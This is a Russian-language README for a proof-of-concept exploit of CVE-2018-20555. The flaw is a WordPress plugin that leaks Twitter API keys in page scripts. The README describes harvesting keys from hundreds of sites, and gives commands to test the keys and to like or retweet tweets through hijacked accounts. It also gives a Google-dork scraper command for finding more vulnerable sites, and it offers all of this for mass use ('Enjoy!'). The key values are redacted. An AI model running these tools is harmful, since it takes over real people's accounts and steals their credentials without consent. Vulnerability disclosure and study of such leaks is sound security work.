
Эксплойт для CVE-2018-20555: автоматизированное обнаружение и захват учётных записей Twitter через утёкшие API-ключи в уязвимом плагине Social Network Tabs для WordPress, с возможностями сбора данных и массовой эксплуатации.
Плагин для WordPress под названием Social Network Tabs, созданный компанией Design Chemical, дважды раскрывает Twitter access_token, access_token_secret, consumer_key и consumer_secret своего пользователя, что приводит к захвату его учётной записи Twitter.
Это вызвано следующими строками кода на странице, где отображается виджет Twitter:
jQuery(document).ready(function ($) {
var config = {
widgets: "twitter,facebook,youtube",
twitterId: "[redacted]",
facebookId: "[redacted]",
youtubeId: "[redacted]",
twitter: {
url: "https://www.rainx.com/wp-content/plugins/social-network-tabs/inc/dcwp_twitter.php?1=%5Breadcted%5D&2=%5Bredacted%5D&3=%5Bredacted%5D&4=%5Bredacted%5D …",
title: "Latest Tweets",
follow: "Follow",
followId: "",
limit: "10",
retweets: true,
replies: true,
images: "thumb",
consumer_key: "[redacted]",
consumer_secret: "[redacted]",
access_token: "[redacted]",
access_token_secret: "[redacted]"
},
}
});
Благодаря Publicwww, с помощью следующих поисковых запросов мне удалось получить Twitter access_token, access_token_secret, consumer_key и consumer_secret с 539 уязвимых веб-сайтов:
Все ключи доступны в файле twitter_keys.csv.
Проверьте ключи Twitter API в twitter_keys.csv
python test_twitter_api_keys.py -t
В первый раз, когда я запустил эту команду, я получил информацию о 446 учётных записях Twitter. Стоит отметить, что в списке было 2 верифицированные учётные записи и несколько аккаунтов с более чем 10 000 подписчиков. Все уязвимые аккаунты находятся в файле vulnerable_accounts.txt.
Лайкните любой выбранный твит
python test_twitter_api_keys.py -l [tweet_id]
Ретвитните любой выбранный твит
python test_twitter_api_keys.py -r [tweet_id]
В первый раз, когда я выполнил эту команду, мне удалось поставить лайк выбранному твиту 127 раз, что показало, что 127 ключей Twitter API имели права на чтение и запись, то есть я мог захватывать 127 учётных записей Twitter (менять аватар, ставить лайки, делать ретвиты, изменять био и т.д.) из-за этой утечки ключей.
Многие веб-сайты и, соответственно, учётные записи Twitter всё ещё уязвимы для этой проблемы. Чтобы их выявить, я создал скрейпер:
cd TwitterApiKeysSearchEngine/
scrapy crawl TwitterApiKeysSpider -a keyword="inurl:/inc/dcwp_twitter.php?1=" -a se=google -a pages=10
Общее количество результатов по этому поисковому запросу Google — 3550. На первых 9 страницах мне удалось получить 78 ключей (86%). Наслаждайтесь!
Подпишитесь на меня в Twitter! Также с небольшой частью моих работ вы можете ознакомиться на https://fs0c131y.com
Исследование и POC были выполнены с ❤️ автором @fs0c131y